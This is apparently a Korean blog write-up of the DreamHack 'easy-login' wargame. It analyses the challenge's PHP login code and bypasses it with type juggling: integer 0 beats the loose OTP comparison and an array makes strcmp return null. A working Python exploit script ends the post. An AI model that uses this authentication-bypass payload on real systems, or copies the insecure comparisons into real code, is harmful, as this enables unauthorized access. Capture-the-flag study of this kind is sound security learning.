[DreamHack] easy-login

https://dreamhack.io/wargame/challenges/1213

 

easy-login

Description관리자로 로그인하여 플래그를 획득하세요!플래그 형식은 DH{...} 입니다.

dreamhack.io

서버를 생성해서 들어가니 이런 페이지를 볼 수 있었다.

 

function generatePassword($length) {
    $characters = '0123456789abcdef';
    $charactersLength = strlen($characters);
    $pw = '';
    for ($i = 0; $i < $length; $i++) {
        $pw .= $characters[random_int(0, $charactersLength - 1)];
    }
    return $pw;
}

코드를 살펴보니 패스워드를 생성하는 코드가 있었는데,

characters 문자 집합에서 랜덤으로 문자 하나씩 가져와서 비번을 생성하는 것 같다.

 

function generateOTP() {
    return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}

이 코드는 OTP를 생성하는 함수인데, 6자리 숫자를 생성하고 앞에 P를 붙이는 방식으로 동작한다.

random_int(0, 999999)으로 암호학적으로 안전한 난수를 생성한다.

 

$admin_pw = generatePassword(32);
$otp = generateOTP();

function login() {
    if (!isset($_POST['cred'])) {
        echo "Please login...";
        return;
    }

    if (!($cred = base64_decode($_POST['cred']))) {
        echo "Cred error";
        return;
    }

    if (!($cred = json_decode($cred, true))) {
        echo "Cred error";
        return;
    }

    if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
        echo "Cred error";
        return;
    }

    if ($cred['id'] != 'admin') {
        echo "Hello," . $cred['id'];
        return;
    }
    
    if ($cred['otp'] != $GLOBALS['otp']) {
        echo "OTP fail";
        return;
    }

    if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
        require_once('flag.php');
        echo "Hello, admin! get the flag: " . $flag;
        return;
    }

    echo "Password fail";
    return;
}

이 부분이 간단한 로그인 로직으로 구현한 PHP 코드인데, 관리자 인증 시스템이다.

우선 아까 분석했던 함수를 이용해서 실행 시마다 비밀번호와 OTP가 동적으로 바뀌도록 되어있다.

 

아이디가 admin이 아니면 일반 사용자로 처리해 Hello를 출력한다.

OTP를 확인하고, 비밀번호를 확인해 같으면 flag.php를 로드 후 플래그를 출력하는 것으로 보인다.

즉, 비밀번호화 OTP를 모두 알아야 admin 인증이 가능하다.

 

if ($cred['otp'] != $GLOBALS['otp']) {
    echo "OTP fail";
    return;
}

이 코드는 otp를 검사하는 코드인데, !=를 사용하고 있다.

이는 php의 동등 비교로 내부적으로는 두 문자열이 비교될 때, 한쪽이 숫자일 경우 문자열을 숫자로 바꾸고 비교한다.

 

if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
    require_once('flag.php');
    echo "Hello, admin! get the flag: " . $flag;
    return;
}

이 부분을 자세히보면 strcmp()가 null을 반환하게 하면 우회 성공이라는 것을 알 수 있다.

strcmp()가 0이면 두 값이 같다는 뜻인데, !0 = true이니까 통과한다.

하지만 strcmp()가 null을 반환하면, null은 false처럼 평가되니 !null은 true가 된다.

즉, 조건문이 참이 되어서 flag를 추출할 수 있을 것으로 예상된다.


Exploit

우선 otp 우회부터 생각해보면, php의 타입 변환 규칙을 이용할 수 있을 것 같다.

https://www.php.net/manual/en/types.comparisons.php

 

PHP: PHP type comparison tables - Manual

PHP is a popular general-purpose scripting language that powers everything from your blog to the most popular websites in the world.

www.php.net

입력 값에 숫자가 아닌 문자열을 주면 php 내부에서 숫자 비교를 시도하고, 두 값 모두 숫자로 변환한다.

0!= "P123456"

결과는 0 != 0이 되므로 false로 조건문이 실행되지 않고 통과할 수 있게 된다.

 

이제 패스워드를 우회해야하는데, strcmp는 문자열 이외의 다른 타입이 입력되었을 때 예기치 못한 결과를 준다.

문자열이 아닌 비교 불가능한 타입이면 null을 반환하는데, 따라서 이 점을 이용해야한다.

대표적인 예로는 배열이나 객체가 있다.

 

import requests
import base64
import json

url = "http://host8.dreamhack.games:23382/"

payload = {
    "id": "admin",
    "pw": [],
    "otp": 0  
}

encoded_payload = base64.b64encode(json.dumps(payload).encode()).decode()

res = requests.post(url, data={"cred": encoded_payload})
print(res.text)

'해킹 스터디' 카테고리의 다른 글

[Dreamhack] weird lagacy  (2) 2025.08.02
[Dreamhack] Stop before stops!  (0) 2025.07.27
[DreamHack] Small Counter  (0) 2025.07.23
[DreamHack] Addition calculator  (1) 2025.07.23
[DreamHack] curling  (1) 2025.07.12